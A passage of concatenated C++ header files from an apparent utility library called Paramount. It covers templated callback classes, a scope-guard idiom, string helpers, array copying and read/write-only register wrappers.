internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_1<false, RetType, Caller, P1, P2, P3, A1>( instance, method, p1, p2, p3); } template <bool del, typename RetType, typename P1, typename P2, typename P3, typename A1> class FunctionResultCallback_3_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (*Function)(P1, P2, P3, A1); inline FunctionResultCallback_3_1(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (*function_)(p1_, p2_, p3_, a1); } else { RetType result = (*function_)(p1_, p2_, p3_, a1); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename P1, typename P2, typename P3, typename A1> class FunctionResultCallback_3_1<del, void, P1, P2, P3, A1> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (*Function)(P1, P2, P3, A1); inline FunctionResultCallback_3_1(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (*function_)(p1_, p2_, p3_, a1); } else { (*function_)(p1_, p2_, p3_, a1); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename FunctionResultCallback_3_1<true, RetType, P1, P2, P3, A1>::base* MakeCallback(RetType (*function)(P1, P2, P3, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_1<true, RetType, P1, P2, P3, A1>( function, p1, p2, p3); } template <typename RetType, typename P1, typename P2, typename P3, typename A1> inline typename FunctionResultCallback_3_1<false, RetType, P1, P2, P3, A1>::base* MakePermanentCallback(RetType (*function)(P1, P2, P3, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_1<false, RetType, P1, P2, P3, A1>( function, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_3_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, P2, P3, A1, A2) const; inline ConstMemberResultCallback_3_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1, a2); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2> class ConstMemberResultCallback_3_2< del, void, Class, P1, P2, P3, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, P2, P3, A1, A2) const; inline ConstMemberResultCallback_3_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1, a2); } else { (instance_->*method_)(p1_, p2_, p3_, a1, a2); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename ConstMemberResultCallback_3_2<true, RetType, Caller, P1, P2, P3, A1, A2>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_2<true, RetType, Caller, P1, P2, P3, A1, A2>(instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename ConstMemberResultCallback_3_2<false, RetType, Caller, P1, P2, P3, A1, A2>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_2<false, RetType, Caller, P1, P2, P3, A1, A2>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_3_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, P2, P3, A1, A2); inline MemberResultCallback_3_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1, a2); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2> class MemberResultCallback_3_2< del, void, Class, P1, P2, P3, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, P2, P3, A1, A2); inline MemberResultCallback_3_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1, a2); } else { (instance_->*method_)(p1_, p2_, p3_, a1, a2); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename MemberResultCallback_3_2<true, RetType, Caller, P1, P2, P3, A1, A2>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_2<true, RetType, Caller, P1, P2, P3, A1, A2>(instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename MemberResultCallback_3_2<false, RetType, Caller, P1, P2, P3, A1, A2>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_2<false, RetType, Caller, P1, P2, P3, A1, A2>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> class FunctionResultCallback_3_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (*Function)(P1, P2, P3, A1, A2); inline FunctionResultCallback_3_2(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (*function_)(p1_, p2_, p3_, a1, a2); } else { RetType result = (*function_)(p1_, p2_, p3_, a1, a2); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename P1, typename P2, typename P3, typename A1, typename A2> class FunctionResultCallback_3_2<del, void, P1, P2, P3, A1, A2> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (*Function)(P1, P2, P3, A1, A2); inline FunctionResultCallback_3_2(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (*function_)(p1_, p2_, p3_, a1, a2); } else { (*function_)(p1_, p2_, p3_, a1, a2); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename FunctionResultCallback_3_2<true, RetType, P1, P2, P3, A1, A2>::base* MakeCallback(RetType (*function)(P1, P2, P3, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_2<true, RetType, P1, P2, P3, A1, A2>( function, p1, p2, p3); } template <typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2> inline typename FunctionResultCallback_3_2<false, RetType, P1, P2, P3, A1, A2>::base* MakePermanentCallback(RetType (*function)(P1, P2, P3, A1, A2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_2<false, RetType, P1, P2, P3, A1, A2>( function, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_3_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, P2, P3, A1, A2, A3) const; inline ConstMemberResultCallback_3_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> class ConstMemberResultCallback_3_3< del, void, Class, P1, P2, P3, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, P2, P3, A1, A2, A3) const; inline ConstMemberResultCallback_3_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); } else { (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_3_3<true, RetType, Caller, P1, P2, P3, A1, A2, A3>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_3<true, RetType, Caller, P1, P2, P3, A1, A2, A3>(instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_3_3<false, RetType, Caller, P1, P2, P3, A1, A2, A3>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new ConstMemberResultCallback_3_3<false, RetType, Caller, P1, P2, P3, A1, A2, A3>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_3_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, P2, P3, A1, A2, A3); inline MemberResultCallback_3_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename Class, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> class MemberResultCallback_3_3< del, void, Class, P1, P2, P3, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, P2, P3, A1, A2, A3); inline MemberResultCallback_3_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : instance_(instance), method_(method), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); } else { (instance_->*method_)(p1_, p2_, p3_, a1, a2, a3); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename MemberResultCallback_3_3<true, RetType, Caller, P1, P2, P3, A1, A2, A3>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_3<true, RetType, Caller, P1, P2, P3, A1, A2, A3>(instance, method, p1, p2, p3); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename MemberResultCallback_3_3<false, RetType, Caller, P1, P2, P3, A1, A2, A3>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2, P3, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new MemberResultCallback_3_3<false, RetType, Caller, P1, P2, P3, A1, A2, A3>(instance, method, p1, p2, p3); } template <bool del, typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> class FunctionResultCallback_3_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (*Function)(P1, P2, P3, A1, A2, A3); inline FunctionResultCallback_3_3(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (*function_)(p1_, p2_, p3_, a1, a2, a3); } else { RetType result = (*function_)(p1_, p2_, p3_, a1, a2, a3); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <bool del, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> class FunctionResultCallback_3_3<del, void, P1, P2, P3, A1, A2, A3> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (*Function)(P1, P2, P3, A1, A2, A3); inline FunctionResultCallback_3_3(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) : function_(function), p1_(p1), p2_(p2), p3_(p3) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (*function_)(p1_, p2_, p3_, a1, a2, a3); } else { (*function_)(p1_, p2_, p3_, a1, a2, a3); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; typename ::std::remove_reference<P3>::type p3_; }; template <typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_3_3<true, RetType, P1, P2, P3, A1, A2, A3>::base* MakeCallback(RetType (*function)(P1, P2, P3, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_3<true, RetType, P1, P2, P3, A1, A2, A3>(function, p1, p2, p3); } template <typename RetType, typename P1, typename P2, typename P3, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_3_3<false, RetType, P1, P2, P3, A1, A2, A3>::base* MakePermanentCallback(RetType (*function)(P1, P2, P3, A1, A2, A3), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2, typename internal::ConstRef<P3>::type p3) { return new FunctionResultCallback_3_3<false, RetType, P1, P2, P3, A1, A2, A3>(function, p1, p2, p3); } } #endif // PARAMOUNT_CALLBACK_IMPL_H
Kai-Wolf-SW-Consulting/Paramount
include/pmt/for_each_argument.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_FOR_EACH_ARGUMENT_H #define PARAMOUNT_FOR_EACH_ARGUMENT_H #include <iostream> #include <utility> namespace pmt { template <class F, class... Args> void ForEachArgument(F f, Args &&... args) { [](...) {}((f(std::forward<Args>(args)), 0)...); } template <class F, class... Args> void ForEachArgumentInOrder(F f, Args &&... args) { (void) (int[]){(f(std::forward<Args>(args)), 0)...}; } } // namespace pmt #endif // PARAMOUNT_FOR_EACH_ARGUMENT_H
Kai-Wolf-SW-Consulting/Paramount
src/base/scope_guard.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_SCOPE_GUARD_H #define PARAMOUNT_SCOPE_GUARD_H #include "base/macros.h" #include <utility> namespace pmt { namespace base { /// This idiom ensures that resources always get released in face of an /// exception or otherwise not returning normally. |ScopeGuard| can exploit /// type inference and auto, move semantics as well as lambda functions which /// can defer any arbitrary code template <typename Func> class ScopeGuard { public: ScopeGuard() = delete; ScopeGuard(const ScopeGuard&) = delete; ScopeGuard& operator=(const ScopeGuard&) = delete; ScopeGuard(ScopeGuard&& rhs) : func_(std::move(rhs.func_)), isActive_(rhs.isActive_) { rhs.dismiss(); } ScopeGuard(Func func) : func_(std::move(func)), isActive_(true) {} ~ScopeGuard() { if (isActive_) func_(); } void dismiss() { isActive_ = false; } private: Func func_; bool isActive_; }; /// This is a classic trick, having a template class, which we want to /// associate with a template function, because a template function may use /// type deduction, which the template class is incapable of. /// Example usage: /// void fun() { /// auto buf = malloc(1024 * 1024); /// auto g1 = scopeGuard([] { free(buf); }); /// // .. use buf here .. /// } template <typename Func> ScopeGuard<Func> scopeGuard(Func func) { return ScopeGuard<Func>(std::move(func)); } namespace internal { enum class ScopeGuardOnExit {}; template <typename Func> ScopeGuard<Func> operator+(ScopeGuardOnExit, Func&& fn) { return ScopeGuard<Func>(std::forward<Func>(fn)); } } // namespace internal } // namespace base } // namespace pmt /// This works as follows: |ANONYMOUS_VARIABLE| creates a variable which /// shouldn't clash with any other variable in the current scope. This variable /// gets initialized with |ScopeGuardOnExit| plus an unfinished lambda /// function. Note that we're not interested in |ScopeGuardOnExit| itself, but /// only need its type. If |SCOPE_EXIT| is used, the user finishes it with {} /// and inserts the code, which gets executed when the current scope is left. /// Example usage: /// void fun() { /// char name[] = "/tmp/deleteme.XXXXXX"; /// auto fd = mkstemp(name); /// SCOPE_EXIT { fclose(fd); unlink(name); }; /// // .. use fd here .. /// } #define SCOPE_EXIT \ auto ANONYMOUS_VARIABLE(SCOPE_EXIT_STATE) = \ pmt::base::internal::ScopeGuardOnExit() + [&]() #endif // PARAMOUNT_SCOPE_GUARD_H
Kai-Wolf-SW-Consulting/Paramount
include/pmt/string_util.h
<filename>include/pmt/string_util.h // Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_STRING_UTIL_H #define PARAMOUNT_STRING_UTIL_H #include <sstream> #include <string> #include <vector> using StringList = std::vector<std::string>; namespace pmt { std::string Trim(const std::string& str) { auto first = str.find_first_not_of(' '); auto last = str.find_last_not_of(' '); return str.substr(first, (last - first + 1)); } StringList SplitString(const std::string& str, char delim) { StringList tokens; std::stringstream ss(str); std::string token; while (std::getline(ss, token, delim)) { if (!token.empty()) { tokens.push_back(Trim(token)); } } return tokens; } } // namespace pmt #endif // PARAMOUNT_STRING_UTIL_H
Kai-Wolf-SW-Consulting/Paramount
src/base/callback.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_CALLBACK_H #define PARAMOUNT_CALLBACK_H /// @page Callback Generic callback implementation /// The following callback implementation provides a generic /// interface for all classes which require a callback from another class. /// @section signature Function Signature /// The following callbacks with up to 3 arguments are provided: /// /// Callback --> provides "void run()" /// Callback1<P1> --> provides "void run(P1)" /// Callback2<P1, P2> --> provides "void run(P1, P2)" /// Callback3<P1, P2, P3> --> provides "void run(P1, P2, P3)" /// /// Furthermore 'ResultCallback' classes provide a generic interface for all /// callbacks which additionally return a value: /// /// ResultCallback<Ret> --> provides "Ret run()" /// ResultCallback1<Ret, P1> --> provides "Ret run(P1)" /// ResultCallback2<Ret, P1, P2> --> provides "Ret run(P1, P2)" /// ResultCallback3<Ret, P1, P2, P3> --> provides "Ret run(P1, P2, P3)" /// /// In order to instantiate one of the callbacks described above a convenient /// factory MakeCallback is provided which may be called with an object pointer, /// a pointer to a free function or a pointer to a member function with the /// appropriate signature. /// @section rettypes Return types /// The returned callback objects from 'MakeCallback' are self-deleting, i.e. /// they delete themselves after they've been invoked once. In case a given /// callback object has to be called repeatedly or several times, one should use /// 'MakePermanentCallback'. Note that in the latter case, one has to take care /// of the correct deletion of the callback in order to avoid memory leaks. /// /// There are two types of arguments which may be passed to the callback: /// - "pre-bound arguments" -> supplied when the callback is created /// - "call-time arguments" -> supplied when the callback is invoked /// /// These two types correspond to "early binding" and "late binding". In case /// an argument whose value is known at the creation time of the callback may /// be "pre-bound" to the callback. Note that for creating a callback with 3 /// pre-bound arguments and 1 call-time argument for example has the same effect /// as creating a callback with 2 pre-bound arguments and 2 call-time arguments /// or 0 pre-bound arguments and 4 call-time arguments. /// Example: /// /// struct Foo { /// void bar(int a, double b); /// }; /// /// Foo* foo = new Foo; // [pre-bound] + [call-time] /// MakeCallback(foo, &Foo::bar) --> run(23, 1.7); // 0 + 2 /// == MakeCallback(foo, &Foo::bar, 10) --> run(1.7) ; // 1 + 1 /// == MakeCallback(foo, &Foo::bar, 10, 1.7) --> run(); // 2 + 0 /// == foo->bar(23, 1.7); #include "base/callback_impl.h" #include "base/callback_types.h" namespace pmt { template <typename Instance> void DeletePointer(Instance* instance) { delete instance; } template <typename Instance> Callback* DeletePointerCallback(Instance* instance) { return MakeCallback(&DeletePointer<Instance>, instance); } } // namespace pmt #endif // PARAMOUNT_CALLBACK_H
Kai-Wolf-SW-Consulting/Paramount
src/base/callback_types.h
<reponame>Kai-Wolf-SW-Consulting/Paramount // Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the topdirectory. #ifndef PARAMOUNT_CALLBACK_TYPES_H #define PARAMOUNT_CALLBACK_TYPES_H namespace pmt { class Callback { public: virtual ~Callback() {} virtual bool isRepeatable() const { return false; } virtual void run() = 0; protected: Callback() {} }; template <typename RetType> class ResultCallback { public: virtual ~ResultCallback() {} virtual bool isRepeatable() const { return false; } virtual RetType run() = 0; protected: ResultCallback() {} }; template <typename P1> class Callback1 { public: virtual ~Callback1() {} virtual bool isRepeatable() const { return false; } virtual void run(P1) = 0; protected: Callback1() {} }; template <typename RetType, typename P1> class ResultCallback1 { public: virtual ~ResultCallback1() {} virtual bool isRepeatable() const { return false; } virtual RetType run(P1) = 0; protected: ResultCallback1() {} }; template <typename P1, typename P2> class Callback2 { public: virtual ~Callback2() {} virtual bool isRepeatable() const { return false; } virtual void run(P1, P2) = 0; protected: Callback2() {} }; template <typename RetType, typename P1, typename P2> class ResultCallback2 { public: virtual ~ResultCallback2() {} virtual bool isRepeatable() const { return false; } virtual RetType run(P1, P2) = 0; protected: ResultCallback2() {} }; template <typename P1, typename P2, typename P3> class Callback3 { public: virtual ~Callback3() {} virtual bool isRepeatable() const { return false; } virtual void run(P1, P2, P3) = 0; protected: Callback3() {} }; template <typename RetType, typename P1, typename P2, typename P3> class ResultCallback3 { public: virtual ~ResultCallback3() {} virtual bool isRepeatable() const { return false; } virtual RetType run(P1, P2, P3) = 0; protected: ResultCallback3() {} }; } #endif
Kai-Wolf-SW-Consulting/Paramount
include/pmt/array_copy.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_ARRAY_COPY_H #define PARAMOUNT_ARRAY_COPY_H #include <cstddef> #include <cstring> #include <iostream> #include <type_traits> namespace pmt { template <typename T, std::size_t n> inline void ArrayCopy(T (&dst)[n], T (&src)[n]) { static_assert(std::is_trivially_copy_assignable<T>::value, "element type has non-trivial copy assignment"); std::memcpy(dst, src, sizeof(T) * n); } template <typename T, std::size_t m, std::size_t n> inline void ArrayCopy(T (&dst)[m], T (&src)[n]) { static_assert(m >= n, "destination too small"); for (std::size_t idx = 0; idx < n; ++idx) { dst[idx] = src[idx]; } } } // namespace pmt #endif // PARAMOUNT_ARRAY_COPY_H
Kai-Wolf-SW-Consulting/Paramount
src/base/rw_protected.h
<filename>src/base/rw_protected.h<gh_stars>1-10 // Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. // Constrain read/write access for (memory-mapped) hw registers // // HW vendors often define register addresses via simple macros. This may lead // to runtime bugs, since there is no way to check for register which are only // read- or writable. // According to Scott Meyers, Effective C++ book one should prefer // compile-time and link-time errors to runtime errors. Furthermore, interfaces // should be easy to use correctly and hard to use incorrectly. #ifndef PARAMOUNT_RW_PROTECTED_H #define PARAMOUNT_RW_PROTECTED_H #include <cstdint> namespace pmt { namespace base { template <typename t> class WriteOnly { public: WriteOnly() = default; WriteOnly(const t &val) : val_(val) {} // returns void instead of reference to self in order to forbid read access void operator=(const t &val) { val_ = val; } WriteOnly(const WriteOnly &) = delete; WriteOnly &operator=(const WriteOnly &) = delete; private: t val_; }; template <typename t> class ReadOnly { public: ReadOnly() = default; ReadOnly(const t &val) : val_(val) {} operator const t &() const { return val_; } const t *operator&() const { return &val_; } ReadOnly(const ReadOnly &) = delete; ReadOnly &operator=(const ReadOnly &) = delete; private: t val_; }; } // namespace base } // namespace pmt #endif // PARAMOUNT_RW_PROTECTED_H
Kai-Wolf-SW-Consulting/Paramount
src/base/status.h
